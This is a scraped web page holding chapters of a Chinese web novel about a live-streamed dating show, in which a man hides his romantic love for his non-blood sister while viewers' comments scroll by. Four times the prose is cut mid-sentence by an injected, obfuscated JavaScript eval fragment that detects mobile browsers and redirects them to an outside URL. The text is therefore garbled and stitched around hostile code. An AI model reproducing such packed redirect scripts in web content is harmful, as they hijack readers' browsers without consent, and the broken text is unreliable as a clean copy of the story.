35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585438|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这真是天大的误会。 江识月只是在家时习惯了哥哥的照顾,现在又因为忙着吃饭放松了警惕,一时忘记扮演陌生人这件事,没有客套地说谢谢。 坐在对面的青阳见她的筷子频频伸向糖醋排骨,干脆把盘子放到江识月面前来。 “怎么样,我的手艺不错吧?” 江识月狠狠点头:“神厨!要是能让我每天吃到青阳神厨和平川神厨的饭,让我开豪车住豪宅我也愿意啊!” 说得像她没有豪车豪宅一样。看着妹妹耍宝,贺听风心底暗笑。 “好贪心啊你。”青阳睨她一眼。 “多谢夸奖。” 江识月挑眉点头,表示感谢,然后发现坐在左手边的知然又在向自己投来“暗中观察”的目光。 “又看我,爱上我了?” 她算是明白了,知然就是个爱凑热闹的八卦精,只要嘉宾之间有点互动,她的眼睛就会追着走,连饭都不认真吃。 “是呀,太爱你了!”看她并不生气,知然笑着回答。 “哼哼,”江识月骄矜地晃晃脑袋,用公筷夹些能用勺子舀起来的菜放进知然碗里。 她虽然能左手写字,但用筷子夹菜还是不够熟练,只能用勺子舀着吃。 “别太爱,好好吃饭,有情不能饮水饱的。” 坐在知然身边的平川也体贴地问:“想吃什么?我帮你夹。” 一时之间,餐桌上仿佛掀起了投喂小白兔的热潮,每个人都来问问知然想吃什么,给人夹菜,让她多补充营养。 “够了够了,我吃不完了!”小白兔本人只能挡着碗不停拒绝。 大概是今天赶路消耗太多体力,晚饭结束,盘中分量十足的菜也被消耗得七七八八。 江识月饮尽碗里的汤,和宋慈沈云一起收拾残局,男嘉宾们则开始做节目组新安排的任务——心动书笺。 同样是写下想告诉心动对象的话,只是不必再转交“手足”之手,直接放入对方的信箱就好。 为与“鸿雁传书”区别开,他们的书信不必叠成纸鹤,装进信封即可。 “我先去?” 白起第一个写好,象征性地问过其他三人,上楼投递信件。 第二个是平川。 青阳和贺听风则颇为苦恼,迟迟不落笔。 【他们俩纠结啥呢?】 【就是要纠结才对!前面两个速度那么快,结果内容平平无奇,这两个纠结的才是真的动心,在思考第一封信要怎么表露心意。】 与女嘉宾相同,男嘉宾们写下的信虽然对其他人保密,但对观众却不是,在投递之前也要先在镜头前摊开让观众过目。 已经投递的两封,白起写的是:“有需要帮忙的地方可以叫我。” 投给了知然。 平川的信则给了值日搭档沈云,写着“合作愉快。” 毫无暧昧可言。 这可是恋综!弹幕对这些干巴巴的字句毫无兴趣,一心蹲守青阳和贺风。 终于,青阳落笔了。 行云流水一气呵成,并不算长的一句话被写在纸上。 但书成之后他似乎又有些懊恼,伸手把砂金色的头发抓得凌乱,捏着信纸犹豫是否要重写。 “呼……” 他叹一口气,最终还是把薄薄的纸张叠起来,拿着信封走上楼。 “心动值+1,当前心动值总计为11。” 站在洗碗池边和宋慈聊天的江识月回头看一眼客厅,只看到青阳快步离开的侧影。 8. 贺听风的信 三步并作两步,青阳捏着信冲到二楼,停在江识月的门口。 他皱着眉,表情有些不耐烦,带着几分演技并不精湛的漫不经心,把信纸举到镜头面前展示两秒就塞进信封丢进信箱。 松手时指尖细微颤抖,又装作若无其事揣进裤兜,面无表情走下楼。 【好!我就知道!他要写给江月!!】 【我~来~恋~综~是~为~了~钱~~~~~】 【哼哼,在片头就大放厥词可是会被打脸的!】 【小屁孩儿,还装不在意呢,耳朵都红了!】 【下一个下一个,轮到贺风了!他怎么还不动笔!】 【他到底在纠结什么?不是一进恋爱小屋就对江月动心了吗?】 【嘶……我有一种不祥的预感,他不会想把信写给其他人吧?】 【难道他只是表面动心,其实心里还在权衡?】 【毕竟日月可鉴双箭头太粗了,才第一天,可能贺风想再和别的嘉宾相处试试?成年人的爱情总是少不了权衡和比较的。】 【可是表面一套背后一套的话,好渣啊。】 …… 面对一纸书笺,贺听风再一次后悔当初陪江识月来恋综的决定。 他已经后悔过无数次。 在她离开渡轮时,他后悔。 看到她与别人说笑时,他后悔。 被争夺与她相伴的位置时,他后悔。 尽管从意识到自己对江识月的心意那一刻开始,他就已经在不断地暗示自己,告诫自己: 那是妹妹啊,她早晚会遇到心仪的对象,与之相识相知,相恋相伴。 而这个人绝不会是自己。 尽管他们在血缘与法律上都不存在兄妹关系,可是从牙牙学语到如今长大成人,这样漫长的日子,将近十万天,他们从来都是以兄妹相称。 这数不清的日夜里,数不清的“哥哥”与“妹妹”,这一次又一次的呼唤化为禁锢的枷锁,牢牢铐在贺听风手腕。 怎么挣脱? 若是挣脱,又会面临怎样的下场。 网上说,骨科就是吵架了,过年也还要一起回家吃饭。 这对他们并不适用。 没有血缘纽带,也没有法律认定的关系,将他们连接起来的是二十年如一日的依偎与陪伴。 如此厚重,又如此脆弱。 脆弱到一夕之间就可以颠覆崩塌。 如果让江识月知道了自己对她的心思,他会遭遇什么? 午夜梦回,贺听风曾无数次设想。 发现自己一直依赖信任的哥哥竟抱有如此龌龊的心思,她会觉得恶心吗?会觉得害怕吗? 会吧。 她也许会破口大骂,她会用她的手或者脚用力地砸在自己身上,留下一块又一块灼热的疼痛吗? 如果可以,在了无虚幻的臆想里,贺听风希望这样灼热的疼痛若是落下,最好可以如同烙印一般在他身躯永恒存在,留下狰狞的伤疤。 这些疤痕会是他往后余生无数次怀念的爱。 是的,爱。 那会是江识月最后迸发并给予的爱。 或者,如果老天保佑,又或者是上帝、真主和其他一些什么,他们赐下恩惠,让他用前世与来生所拥有的一切来交换,换一个让他仅仅是痴想都不敢深思的可能。 可不可以接受他呢? 只要江识月愿意,只要她向自己走一步……不,她不必行动,只需要遥遥抛来一个眼神,贺听风就一往无前。 让所有的议论砸到自己身上吧!让异样的眼神把他刺穿吧! 他会向世界宣告:“是我!是我的错!是我将高悬的月亮拖入泥沼!” 他可以一次又一次的忏悔,在江河清和贺今宵面前,在从小到大每一个曾教育他“温良恭俭让”的长辈面前,他将垂下头来,将长跪不起。 这并非是什么难事,只要得到江识月一个接纳的眼神。 就算是伤痕累累,世俗将他手脚也砸断,他身体的每一块肌肉也会驱使他向爱人靠近。 可这样一个眼神何其难得。 贺听风不敢赌,生怕进一步就是万丈深渊。 于是他又想着,不如就维持现在的关系,他可以就这么站在不远处看着江识月去遇一个心仪的人,将其带到自己面前来,说:“哥,这是我想要共度一生的人。” 那哥哥就替她考察一番,看对方是否善良,是否正直,是否足够优秀,能够与妹妹相配。 他会设下一些微不足道的阻碍作为考验,看看对方能否抗住压力,坚定不移地陪江识月去走往后的人生路。 现在这封信就是微不足道的阻碍之一,贺听风想。 这只是哥哥做下的微不足道的恶作剧。 贺听风握着笔,让油墨在洁白的纸张上画出一道又一道痕迹,然后对折信纸,来到江识月的门前。 门口的摄像头被安装在侧上方,他低着头把手里的信纸展开,单手抓着高高举起,让观众看清他写下的字句。 这是审判席上的物证,也是卑劣者挥舞的白旗。 他向自己的私欲投降。 - 心动书笺环节结束,接下来是女嘉宾收信的时刻。 门口的信箱是可拆卸的,江识月把它带到房间里打开挂扣着的小门,取出里头的东西。 投递给她的千纸鹤只有一只,信封却有两份。 被人喜欢是件值得高兴的事,江识月浅笑着拆开其中一封。 “吃人的嘴软,记得对我说话好听点啊!” 笔迹都透着扬扬神气,结合内容不难猜出是谁。 她想到自己那封信里写的内容,笑意更深。 然后拆开另一封……江识月面上轻松的表情消失,眉头皱起。 “叮咚。”手机屏幕亮起,节目组发来短信。 【请保持安静走到楼下,工作人员将带您前往金兰小屋与手足会面。】 正好,她憋了一肚子的话想和贺听风说。 江识月推开门走下楼,小屋寂静无声,客厅里的男嘉宾们也已经不知所踪,大概是被工作人员带到不会影响任务进行的地方去了。 为保持神秘,嘉宾们的个人直播间纷纷关闭,主直播间转到金兰小屋。 在等待过程中,弹幕终于开始对今天的直播进行复盘,试图提前猜出在场嘉宾的关系。 【沈云和白起应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585439|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该是手足吧!他们某些角度长得挺像的!】 【不不不,他们绝对不是!江月收到了青阳和贺风的信,那她的手足只能是平川或者白起,如果沈云白起是手足,那江月的手足就是平川了!可是最开始的时候,江月摸平川的肌肉,平川整个人都红透了,亲兄妹之间不会这么害羞吧?】 【所以江月的手足是白起?他们确实没说过几句话,可能就是为了隐瞒身份吧!】 【剩下三个有点难,但宋慈和贺风都温温柔柔的,气质很接近,我猜他们是手足,这样的话就是剩下知然沈云和青阳平川。】 【沈云把信给了平川,说明她和青阳是手足!】 【所以结论是!】 【江月白起,宋慈贺风,沈云青阳,知然平川。】 【好耶!聪明如我们!】 【快快快!金兰小屋我来啦!让我康康真相是什么!】 【可是我还是觉得沈云白起是一组,我的自觉一般都蛮准的(挠头)】 【看不懂,推不出,我只想知道江月的手足更希望她选青阳,还是选贺风。】 【是哦,手足一起上恋综,青阳和贺风除了要得到江月的喜欢,还要得到她手足的认可才行。】 【好刺激,第一天就见家长哎!】 今天是个好天气,月朗星稀,炎热的气温降下来,不再像白天那样难熬,只是风依旧喧嚣。 江识月出门时忘记绑头发,这下也体会到知然白天被风吹得头发遮了满脸的滋味。 她顺着鬓角把头发拢到一起,单手抓住,跟着工作人员闷头往花园走。 金兰小屋就在花园深处,房间小小的,江识月猜测它前身是个杂物间。 茂盛的凌霄花爬满屋顶,又从屋檐落下,被从窗户溢出来的明亮灯光照得温馨又漂亮,再加上节目组的改造和装饰,这间小屋变得好像童话故事里住着精灵或是公主的小房子。 适合拍照打卡。 她在心里评价着,走到门前伸手敲门。 在虫鸣与浪声中,贺听风已经在屋内等候多时。 他坐在懒人沙发上,身姿依旧挺拔,不曾懒散地依靠在柔软的海绵里,只是目光灼灼地盯着面前紧闭的门,手里捏着一只粉色千纸鹤。 【他从哪儿来的千纸鹤?纸鹤不都是在女嘉宾的信箱里吗?】 【不,有几只不在。】 【!!!】 【他从吊柜里拿的!!!如果我没记错的话,粉色这只是江月叠的吧?】 【这也太爱了吧!!!】 【可是这样是不是不太好?未经允许随便拿别人的东西。】 【他什么时候拿的?呜呜,怜爱了,江月的“鸿雁传书”写给了青阳,他就只能捡人家练习时叠的这个,上面都没写话给他QAQ】 【可是这是第一只哎!江月不是说她没叠过千纸鹤吗?那贺风手里这只不就是江月人生中叠的第一只纸鹤?】 【啊不是,真的没人觉得他偷拿东西不太好吗?】 【有人敲门!】 【是谁呢是谁呢???】 【一定是宋慈!】 【急急急……】 【揭露谜底的时刻到了!】 9. 金兰小屋 “哥!” 门锁打开,江识月直直冲进屋里,扑到贺听风身上就是一个拥抱。 贺听风早有预料,听到敲门声就站起身,在她进屋时张开手稳稳接住冲过来的妹妹,把人搂进怀里。 直播间的弹幕停滞片刻,随后是铺天盖地的问号。 【???????】 【不是??我幻听了吗?】 【耍老子????】 【江月叫他什么??哥?真的不是节目组安排出问题了吗??江月其实走错房间了对吧?】 【金兰小屋其实不止一间对吧?一定是工作人员带错路了!!】 【哈哈……他们居然是兄妹,他们怎么会是兄妹?谁家哥哥给妹妹送心动书笺啊!!!】 【天杀的!这是犯规!这是诈骗!!贺风!!!老子要报警抓你!!!】 【神经病啊!!!你真的惹到我了!!!老子要叫一车面包人来弄你!!!】 【他们怎么会是兄妹……他们怎么可以是兄妹……】 【那我这几个小时真情实感嗑的cp算什么!!!】 守着直播间的工作人员看着铺天盖地的震惊笑得花枝乱颤,觉得平台做的优化非常完美,弹幕刷刷地上传,画面居然一点卡顿也没有。 然而无论弹幕如何发疯,工作人员如何幸灾乐祸看热闹,断网的江识月和贺听风都一概不知。 江识月松开给哥哥的拥抱走到沙发坐下,接过他递来的毯子盖住短裙遮不住的腿,开始审问。 “哥你怎么给我写心动书笺呀?” 她把手里的信纸举起来,黑色的笔迹行云流水,写着: 你会看见风吗? 别管什么看不看得见风,这字她一眼就认出来是贺听风! “这是让你写给心动嘉宾,不是写给我的!”她恨铁不成钢,觉得哥哥白白浪费一次机会。 江识月自己是为了心动值的任务而来,但还是想着万一贺听风可以在节目里给她找个嫂子呢? 人有时候不想自己去吃爱情的苦,对看别人深陷爱情这件事却兴致勃勃。 “我的心动嘉宾就是你啊。” 贺听风说完在她身边蹲下,从裤子口袋拿出一盒青草膏打开,指间沾着绿色的药膏涂抹到江识月手臂上。 她是很招蚊虫的体质,在花园里走了没几分钟,身上就让蚊子咬出好几个红肿的包。 “切,问你正经的呢!”江识月收回信纸,躺进懒人沙发任由哥哥往自己身上涂药。 凉悠悠的,很舒服。 “那么多女嘉宾没是一个你喜欢的类型吗?我觉得她们都很好呀。” 各有各的特点,漂亮又友善,每一个江识月都喜欢。 贺听风不回答,转移话题:“那你的信给了谁?” “宋慈,”江识月转一下手臂,方便他给手臂内侧一块发痒的皮肤也涂上药膏,答道: “我猜她是青阳的姐姐。” 青阳,意料之中的答案。 今天江识月与他相谈甚欢,贺听风都看在眼里。 其实也无所谓是谁,反正不会是他。 “这么肯定?”贺听风接下话头。 “对呀,我进客厅的时候青阳已经在了,之后就是平川。” 说到平川,江识月立刻坐起来兴致勃勃地问贺听风能不能练出那样的肌肉,她觉得手感很好,□□弹弹。 “你怎么知道手感很好?”贺听风皱眉看向自己的妹妹。 江识月歪歪脑袋,说:“因为我摸到了!他好可爱,虽然害羞,但还是很大方地让我摸摸。” “呵。” 在他不知道的时候,江识月真是做了不少好事。 贺听风抬起下巴示意她卷起毯子,方便给腿上的蚊子包抹药。 “他这么大方,你还让我练?”他温热的指尖轻轻点在江识月皮肤上。 “那他再大方,我也不能一天到晚逮着人家说‘把你的肌肉给摸摸摸吧~’,像个女流氓。” 但摸哥哥就不会,这可是她哥!小时候睡一张床的关系!摸一摸怎么了! 江识月眼珠一转,手就要伸到贺听风胸口。 “所以就来折腾我?”贺听风抬手挡一下,将“不速之客”拦截在途中。 “小气鬼!”江识月小声嗔怪。 贺听风性格内敛守礼,在她面前从来都是衣冠整洁,像严苛的卫道士,所以江识月虽然知道哥哥有锻炼的习惯,身材也好,但却从未一睹真容。 贺听风无奈叹气:“消停点吧小流氓,你还没说你是怎么猜出宋慈和青阳是手足的呢。” 腿上也涂好药,江识月整理一下毯子免得蹭到药膏,给坐回自己位置的哥哥描述今天在小屋发生的事。 “……宋慈一进来,青阳的状态一下子就不对劲了!” “按照我和他的相处来看,这时候来了新嘉宾,他应该会看热闹不嫌事儿大地招呼人家一起!可是他把我的手松开了,突然变得很乖。” 她一拍手掌,转头看向贺听风。 “而且宋慈看着我和青阳互动的时候眼神也很微妙,有种很欣慰的感觉,像妈妈。” 看着她活力满满的样子,贺听风觉得自己的心也平静下来了,点头赞同:“嗯,有道理。” 江识月总是能轻而易举牵动他的情绪,一会儿忧愁,一会儿喜悦。 贺听风感觉自己是一团棉花,任由她揉捏玩弄,可她却不曾察觉自己的言语和动作曾在他心里燃起大火,烧出一片荒地。 他想:这是一种纯真的恶劣。 金兰小屋的灯光暖暖的,照在贺听风俊美温柔的脸上,那双多情的眼睛看过来时,江识月感知到自己在被爱着。 爱? 说到爱,她想起今天贺听风做出的种种举动,开始发问:“哥你今天怎么一直怪怪的?我看知然都快觉得你喜欢我了!” 而贺听风只是点点头,说:“我是喜欢你呀,很怪吗?” 这样的答案。 江识月露出无语的表情:“你又来……” 是因为太不喜欢这个节目,所以在用这种方式表达抗议吗? 江识月猜测着哥哥的心思,希望他可以再坚持坚持,等她凑够心动值。到时候贺听风要是想提前退出,她就交了违约金和哥哥一起跑路。 贺听风低头笑一下,声音有些沙哑,说:“好吧,我是想着,如果可以让大家知道我喜欢你,那他们就猜不出我们是兄妹了。” “哥你也想要双倍出场费?” 江识月下意识想起青阳来恋综的目的,却见哥哥摇头。 “节目组说猜中真正手足最多的人可以拿到强制约会权,我对这个比较感兴趣。”他说。 强制约会权,顾名思义,可以无视其他人包括被邀请人的意愿,得到一次和被邀请人单独相处的机会。 “误会我们的人越多,猜中我们关系的人就越少,这样我们就会更有优势,成为猜中最多的人。” 哇,真是老谋深算! 江识月做出浮夸的惊叹表情,然后被贺听风敲一下脑袋。 “这么说,哥你已经有心动对象了?”不然干嘛要抢强制约会权。 贺听风又不回答了,反而问她:“今晚看你吃了很多甜的,不怕牙疼?” 也没有很多吧?她只是多吃了几块糖醋排骨,而且…… 江识月抱着手臂嗔怪:“我现在已经没有蛀牙了好吧?再说我小时候牙疼还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585440|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是因为你!” 她理不直气也壮,说出每次无理取闹都会用到的话术:“你应该向我道歉!哥哥。” 小时候,江河清和贺今宵虽然工作忙碌,但对孩子们的管教却从来不疏忽。 从学习成绩到一日三餐,就算是在出差,或者加班应酬到很晚,也会抽空一一过问。 那时候江识月和贺听风每天吃的糖果零食都有定额,保姆在雇主的示意下对两个孩子严格要求,可嘴馋的江识月并不满足于额度内的一两颗糖果,总是哭闹耍脾气,想要得到更多。 认真负责的保姆对她的眼泪毫无反应。 只有贺听风宠妹妹宠的没边儿了,偷偷把自己的糖藏起来,等到晚上夜深人静,保姆回自己的房间睡觉,两个小孩就像做贼一样偷偷爬起来,撕开在口袋里放了一天的糖果塞进妹妹嘴里。 “妹妹,好吃吗?”接着小夜灯的光芒,小贺听风撑着床看着自己白白嫩嫩的可爱妹妹,期待地问。 江识月腮帮子鼓鼓,眼睛弯弯,频频点头。 “嗯!” 然后抱着贺听风的脖子,在哥哥脸上印一个带着甜香的亲亲。 可惜甜蜜的代价是痛苦的。 因为总是在晚上偷偷吃糖,两个小孩又因为害怕被保姆发现,为了保持安静吃完糖也不漱口刷牙,江识月得了蛀牙,捂着嘴巴哭得眼泪汪汪,被带去医院做治疗。 吱吱叫的小钻头在她嘴里钻来钻去,小江识月躺在治疗椅上像任人宰割的鱼肉,贺听风则眼眶红红地站在旁边牵妹妹的手,眉毛皱成毛毛虫。 贺今宵和江河清知道事情真相后无奈地揽着贺听风的肩膀教育这个宠妹狂魔: “小机灵鬼!知道你喜欢妹妹,但是为了她好,不可以再这样偷偷给她糖吃了。” 并要求他也参与进监督江识月零食摄入的工作中来。 后来贺听风就养成习惯,在看到江识月吃太多甜食时捧着她的脸告诫:“少吃点甜的,当心蛀牙。” 那时,他们一个两岁,一个六岁。 如今旧事重提,贺听风看着面前横眉竖目的女孩,目露歉疚。 “都是因为我,对不起啊妹妹,原谅我吧?” 原谅我的爱让你平添痛苦。 “哼!我大方着呢,原谅你了!” 得到哥哥的配合演出,江识月立刻变脸,笑着拿出今天收到的纸鹤,完成自己身为“鸿雁”需要做的送信任务。 “呐,你的约会对象!” 收到纸鹤的人将与送出纸鹤的人进行第一次约会。 如果有人收到多只,那么就要进行选择,落选的纸鹤放进金兰小屋角落的柜子里,留给今天没收到纸鹤的嘉宾。 江识月只收到一只千纸鹤,所以贺听风没有选择的权利。 当然,他也不需要,甚至没有打开千纸鹤看看内容的欲望。 但江识月有,并不停催促:“快打开看看!” 贺听风拆开千纸鹤,漫不经心地说:“急什么,想知道自己现在在大家眼里已经变成谁的妹妹了?” “你还说呢!还不是因为你一直演!” “是演吗?我只是没有掩饰。”他依旧在说暧昧不清的话。 江识月翻个白眼,在千纸鹤被拆开后凑到哥哥身边看。 纸上写着:合作顺利。 很好,猜不出是要送给谁。 “应该是送给值日搭档的吧?”江识月把懒人沙发拖到贺听风身边,挨着他坐到一起。 “等哥你去约完会,就知道我现在是谁的妹妹了。” 约会…… 贺听风侧眸看一眼倚靠自己坐得懒散的江识月,问她: “那,后面你要不要和我约会呢?” 10. 江识月的信 和哥哥约会? “不要。”江识月摇头。 和贺听风在一起玩既放松又开心,还可以给这个节目添点乱子,扰乱大家对于手足关系的猜测。 如果是平时她会很乐意,但是现在不行,她要多和别的男嘉宾接触,攒心动值。 “嗯,那好吧。” 贺听风平静地接受这个答案,把刚才拆开的信纸收起来,动作之间,原本被放在沙发边的粉色千纸鹤落到地上。 “这是哪里来的?”千纸鹤不都是在女嘉宾手里吗? “是你在楼下叠的那只,”贺听风伸手捡起它,说:“送给哥哥吧?” 与江识月相关的东西贺听风总是格外珍视。 随手画的涂鸦,在幼儿园得的小红花,大大小小的奖状……他都会一一收集起来放进收藏室。 江识月这才想起这只纸鹤的存在,随口答应了哥哥的请求。 想到贺听风今天演了这么久的爱情独角戏,又调侃:“需要给你也写一句话吗?” 写在纸鹤上的情书? 他当然想要,尽管这只是妹妹开玩笑一样的提议,但贺听风依旧为之动心。 他找工作人员拿来一支笔递到江识月面前,像是心无杂念一样好整以暇地等她动手。 行吧,哥哥想要,她有什么不能给的呢? 江识月将千纸鹤拆开摊平,把金兰小屋的矮柜当做桌子,沉思片刻,握着笔在折痕之间写下与贺听风相似的笔迹。 她会写什么呢? 贺听风站在房间中央看着江识月的背影。 她低头的时候顺滑的头发往前垂落,大概是遮住了视线,江识月伸手把发丝都捋到一侧,露出雪白的后颈。 毫无防备的姿态,猛兽偷袭猎物常从这个角度袭击,出其不意。 他胡思乱想,不敢再看,侧头去瞧窗外橙色的凌霄花。 花朵繁茂,灼灼辉辉。 “喏,给你的心动书笺。”江识月把信写好,将彩纸叠回千纸鹤的样子,捏着它的尾巴放到贺听风眼前晃动。 贺听风伸出手让纸鹤落在手心,情真意切地说:“谢谢,我会好好珍惜的。” “嗯!”江识月表情骄矜,举起手轻碰双唇,送他一个飞吻。 【呵呵】 【真服了你们两兄妹!!!】 【哥演妹也演,演起来没完了是吧QAQ】 【算了,给啥嗑啥吧,我看你们俩也是浓情蜜意天生一对。】 【有一说一,风月cp是好磕的!谁家哥哥会像贺风一样随身备着给妹妹用的青草膏?】 【谁家哥哥会把妹妹随手叠的千纸鹤收藏起来?】 【谁家哥哥会问妹妹要不要一起约会?】 【你哥会吗?】 【我哥不会。】 【跟我一起说:风月无边是真的!】 【风月无边是真的!!】 【风月无边是真的!!!】 【……咱们真的不能嗑点合法的吗?】 千纸鹤送达,接下来还有其他兄妹要来做任务,江识月和贺听风拿好自己的东西准备离开金兰小屋。 “等等。”贺听风叫住要往外走的江识月,来到她身后。 “外面风很大,我帮你把头发扎起来?” 江识月看一眼自己的头发,站在原地提要求:“那我要和知然一样的发型!” “好。” 贺听风骨节分明的手指落在江识月额头,慢慢下滑,抚过鬓角、耳根、后颈……乌黑的发丝全都被拢在他手中。 “今天宋慈给知然编头发的时候我就想到了你。”江识月感受着哥哥手指抓握自己头发带来的拉扯感,和他聊起白天的事。 “你还记得吗?小时候我和妈妈闹脾气说想要一个姐姐。” 贺听风略作思考,把小江识月哭得上气不接下气的模样从记忆里翻出来,闷笑出声。 “是啊,哭了好几天,说‘不要哥哥不要哥哥,我就是要姐姐!把哥哥送出去,换一个姐姐回来!’” 他故意学小江识月的语气。 江识月手肘往后戳,怼一下哥哥的腰腹,接着说:“所以我还想着你会不会给宋慈写心动书笺呢,她和我想要的姐姐简直一模一样。” 贺听风手指勾着她的发丝不停动作,鱼骨辫一点点延长。 “那这应该算是你的心动姐姐,不能说是我的心动嘉宾。”他说。 发尾落到手中,贺听风从左手手腕摘下一根发圈绑住鱼骨辫的尾端,再扯松些许发丝,让发辫更加松弛美观。 “而且我后来不是给你当姐姐了?有我在,你还需要别的姐姐吗?”他擎着低落的语气询问,眼睫在双眸投下一片昏暗。 他们背对灯光,江识月被笼罩在哥哥的影子里。 两人挨得极近,蓬松的裙摆都被贺听风的双腿压迫变形,可她不觉得有半点不对,乖顺地等贺听风为她装扮。 小时候江识月和幼儿园其他小女孩聊天时得知对方的姐姐会给她梳漂亮的发型,化漂亮的妆容,把妹妹打扮成公主、精灵、花仙子。 没姐姐的江识月羡慕极了,回家看着哥哥更生气,晚上吃饭都不香。 “妹妹多吃一点,不然晚上会饿肚子的。”贺听风以为她在犯懒,拿起勺子打算喂她把饭吃完。 听着他关心的声音江识月悲从中来,“哇”地一声哭得惊天动地,直喊: “我不要哥哥!我不要哥哥!我要姐姐!” 然后跳下椅子跑回自己的房间,留贺听风愣怔在原地。 “不要哥哥?”他喃喃道。 小心脏俨然已经被伤得支离破碎。 当天父母都在家,贺今宵赶紧起身摸摸贺听风的头,安慰他: “乖,妹妹在说气话,妈妈问问是怎么回事,然后让她给你道歉好吗?” “不用,妹妹不用道歉。”贺听风眼眶都红了,语气带着哽咽。 他不需要道歉,他只想要妹妹。 时至今日,贺听风依旧不知道贺今宵和是怎么跟江识月聊的。 但最后妹妹噙着眼泪来找他道歉,保证再也不会说不要哥哥的话,说自己只是羡慕其他小朋友可以有姐姐陪她玩,把她打扮得美美的。 “那我就当姐姐!”贺听风义正言辞。 “我给妹妹梳辫子,给妹妹买漂亮的衣服,别人能做到的我也可以!” 他都做到了。 江识月垂头看一眼身上的衣裙,手抚过脑后的发辫,这些都是贺听风给她的。 “你说的对。”她笑着说:“那我们去海边散散步吧,姐姐?” “你啊……”贺听风动作微顿,轻笑着用手指戳戳江识月的额头,跟着人离开小屋。 【呜呜,怎么会有关系这么好的兄妹啊!!】 【看一眼旁边打游戏打得吱哇乱叫的我哥,人与人之间的差距有时候确实是比人和狗的差距还大。】 【只要妹妹想要,哥哥什么都能做到!他好爱,我哭死!】 【我承认我之前确实有开玩笑的成分在,但是家人们,我现在真觉得这两人有点好嗑。】 【感觉他们之间都容不下其他人。】 【而且我觉得贺风看向江月的眼神!并!不!清!白!】 【他还不停地说自己的心动对象是江月!】 【心动书笺上写“你会看见风吗?”,这分明就是在问妹妹能不能看看自己,看看自己的爱!】 【只要妹妹需要,哥哥可以是姐姐,哥哥也可以是老公!】 【哥哥就是老公!哥哥生来就是要爱妹妹的!】 【呜呜好好吃,骨科就是最香的!】 【不知道江月给哥哥的千纸鹤写了什么,会是告白吗?镜头没拍到,贺风也不打开看一下。】 【可能是“我爱你”吧(开始造谣)】 【那我造谣一个“我不要哥哥,我想要老公”】 【是“今晚来我房间”!】 一批嗑上头的观众说着胡言乱语跟随江识月贺听风转移到个人直播间,剩下的依旧蹲守金兰小屋,想看看其他兄妹的情况。 下一个进屋的是青阳,没过几分钟宋慈也走进来。 “姐。”发色轻狂张扬的青年从沙发里站起来和姐姐打招呼,乖得不像话。 宋慈微笑颔首,问:“感觉怎么样,猜出谁和谁是兄妹了吗?” 她对恋综节目毫无兴趣,来参加《亲爱的伴生》也只是因为弟弟的邀请,想着趁此机会正好和他多多相处,弥补两人因为父母离异多年而略显生疏的感情,就当是旅游。 青阳点点头。 “我猜江月和白起是兄妹,然后是知然平川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585441|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,沈云贺风。” 提起贺风,青阳眉头一皱,显然对他观感不佳。 而宋慈回忆一下之前的相处,觉得青阳的猜测并不准确。 “我倒是觉得沈云和白起长得很像,江月和平川或许才是兄妹呢?” 白天两人的表现说不定是演给别人看的。 江月确实有可能做出这样的事。 想到对方活泼机灵的样子,青阳眉头皱得更深,感觉脑袋一头雾水。 “那再观察一下?”宋慈提议,把手里的两只千纸鹤递到青阳面前。 “现在看看里面有没有你想要的。” 她今天看江月和弟弟相处很融洽,而江月又是个很不错的女孩儿,开朗又活泼,宋慈对两人后续的发展很期待。 听出姐姐语气里的揶揄,青阳耳朵发烫。 恋综主题自带暧昧气息,每个人的一举一动都像是在释放求偶信号,为此他写信的时候很是纠结。 在得知江月参加节目的目的是恋爱后仍将心动书笺投递到她的信箱,这代表什么?不言而喻。 更何况现在是在直播,不知多少人在镜头的另一端观看他们的一举一动,他整个人都被放大摊开在观众面前。 青阳为此感到窘迫。 可是不可否认,江月那张伶俐的嘴巴给他带来乐趣,甜美的笑容抢夺着他的目光。 或许还谈不上动心,但他希望能给彼此一个接触的机会。 恋综啊……氛围都到这里了,想谈恋爱也不奇怪吧? 